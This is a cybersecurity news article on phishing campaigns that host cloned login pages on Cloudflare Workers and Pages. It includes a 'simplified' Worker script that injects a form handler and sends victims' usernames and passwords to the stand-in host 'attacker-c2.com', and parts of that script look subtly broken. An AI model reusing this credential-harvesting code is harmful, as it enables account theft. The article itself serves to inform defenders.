Cyber Security News

Hackers Abuse Cloudflare Services for Sophisticated Phishing Attacks

Cybersecurity experts have identified a troubling new trend where threat actors are exploiting legitimate Cloudflare services to orchestrate highly convincing phishing campaigns.

The attacks, which began emerging in early 2025, leverage Cloudflare Workers and Pages to host malicious content that easily bypasses traditional security filters due to the trusted nature of Cloudflare’s infrastructure.

These sophisticated campaigns primarily target financial institutions and technology companies, with victims reporting credential theft and subsequent unauthorized access to sensitive systems.

The attack chain begins when victims receive seemingly legitimate emails containing links to what appear to be authentic login portals.

Rather than directing users to obviously suspicious domains, these links point to Cloudflare-hosted resources with authentic SSL certificates, lending credibility to the fraudulent sites.

The attackers further enhance the deception by implementing precise replicas of legitimate login interfaces, complete with corporate branding and expected functionality that creates a seamless illusion of authenticity.

Phishing page (Source – Hunt.io)

Hunt.io security researchers identified this campaign after observing a 43% increase in phishing incidents utilizing trusted cloud infrastructure over the past quarter.

Their analysis revealed that these attacks are likely conducted by an organized threat group with advanced capabilities and knowledge of cloud service configurations.

“What makes these attacks particularly effective is their abuse of implicit trust in Cloudflare’s infrastructure,” noted Lead Researcher Sarah Chen at Hunt.io.

The widespread adoption of Cloudflare across legitimate business websites creates a perfect environment for these attacks to flourish.

Traditional security solutions often whitelist Cloudflare resources, allowing malicious content to slip through defenses.

Organizations affected by these campaigns have reported significant data breaches resulting from the stolen credentials, with recovery costs estimated to exceed $2.3 million per incident.

Attack Infrastructure

The attackers deploy sophisticated JavaScript code within Cloudflare Workers that dynamically generates phishing pages tailored to each victim.

The malicious script intercepts credentials and exfiltrates them to attacker-controlled servers while providing convincing success responses to victims.

A simplified version of the malicious code appears below:-

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event. Request))
})

async function handleRequest(request) {
  // Clone authentic login page from legitimate site
  const legitimateSite = await fetch('https://victim-company.com/login')
  let response = new Response(await legitimateSite.text(), legitimateSite)

  // Inject credential-stealing code
  response = new Response(
    response.body.replace('', `

        document.querySelector('form').onsubmit = function(e) {
          e.preventDefault();
          const creds = {
            username: document.getElementById('username').value,
            password: document.getElementById('password').value
          };
          fetch('https://attacker-c2.com/collect', {
            method: 'POST',
            body: JSON.stringify(creds)
          }).then(() => {
            window.location = 'https://victim-company.com/dashboard';
          });
        }
      `)
  )
  return response;
}

This technique allows attackers to maintain persistence while evading detection, as the phishing infrastructure leverages Cloudflare’s legitimate reputation and robust infrastructure to remain operational.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try 50 Request for Free

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Hackers Target AI Infrastructure With RCE, Prompt Injection and API Key Theft

Hackers are actively probing AI systems, turning exposed gateways and agent tools into routes for…

5 hours ago

Hackers Make Phishing Pages Change Their Code Every Time Someone Opens Them

Hackers are making some phishing pages harder to track by changing the code delivered to…

5 hours ago

Iran-Linked Hackers Reportedly Knock UK Power Plant Offline for Four Days

A cyber incident reportedly forced a British power plant to halt operations for about four…

6 hours ago

Russian Hackers Use New HOOKEDGE Malware to Spy on European Defense and Diplomatic Targets

Russian hackers have used a new backdoor called HOOKEDGE to target defense manufacturers, government bodies,…

6 hours ago

Ransomware Gang Claims AI Can Analyze 700GB of Stolen Data Every Hour

TITAN ransomware is pairing file encryption with an ambitious claim: artificial intelligence that can sort…

6 hours ago

Hackers Compromise Hundreds of WordPress Sites to Deploy Amatera Stealer via ClickFix

A fake student resume is being used to place a remote-access tool on researchers’ Windows…

8 hours ago